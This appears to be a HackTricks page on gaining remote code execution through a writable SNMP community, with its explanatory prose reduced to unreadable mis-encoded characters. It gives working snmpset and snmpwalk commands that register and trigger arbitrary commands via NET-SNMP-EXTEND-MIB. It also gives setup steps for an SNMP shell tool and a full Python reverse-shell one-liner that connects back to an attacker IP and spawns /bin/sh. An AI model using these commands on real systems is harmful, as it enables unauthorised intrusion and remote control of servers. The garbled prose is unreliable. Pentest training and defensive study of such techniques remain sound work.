SNMP RCE

Support HackTricks

SNMP RCE

рдпрджрд┐ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдпрд╛ рд╕рд░реНрд╡рд░ рдкрд░ рдЗрд╕рдХреА рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ SNMP рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ (rwcommunity) рдХреЗ рд╕рд╛рде SNMP рд╕рдореБрджрд╛рдп рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рдирд╛

SNMP рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рдиреЗ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП, "nsExtendObjects" рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдирдИ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрд╣ snmpset рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкреВрд░реНрдг рдкрде рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рд╢рд╛рдорд┐рд▓ рд╣реИ:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛

SNMP рд╕реЗрд╡рд╛ рдкрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдП рдЧрдП рдмрд╛рдЗрдирд░реА/рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред NET-SNMP-EXTEND-MIB рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рдкрде рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, snmpwalk рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ SNMP рд╕реЗрд╡рд╛ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдЙрдЯрдкреБрдЯ рдХрдорд╛рдВрдб рдФрд░ рдЗрд╕рдХреЗ рд╕рдВрдмрдВрдзрд┐рдд рд╡рд┐рд╡рд░рдг рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░реЗрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ рдкреВрд░реНрдг рдкрде рд╢рд╛рдорд┐рд▓ рд╣реИ:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Running the Injected Commands

рдЬрдм рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХрдорд╛рдВрдб рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ run-on-read() рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди snmpwalk рдкрдврд╝рдиреЗ рдХреЗ рджреМрд░рд╛рди рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Gaining Server Shell with SNMP

рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рд╕рд░реНрд╡рд░ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, mxrch рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдПрдХ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ https://github.com/mxrch/snmp-shell.git рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, SNMP рдореЗрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдорд╛рдВрдб, рдЬреЛ snmpwalk рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдХреЗ рд▓рд┐рдП рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдЖрдк рдЗрд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрд░реНрд╡-рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

рдпрд╛ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated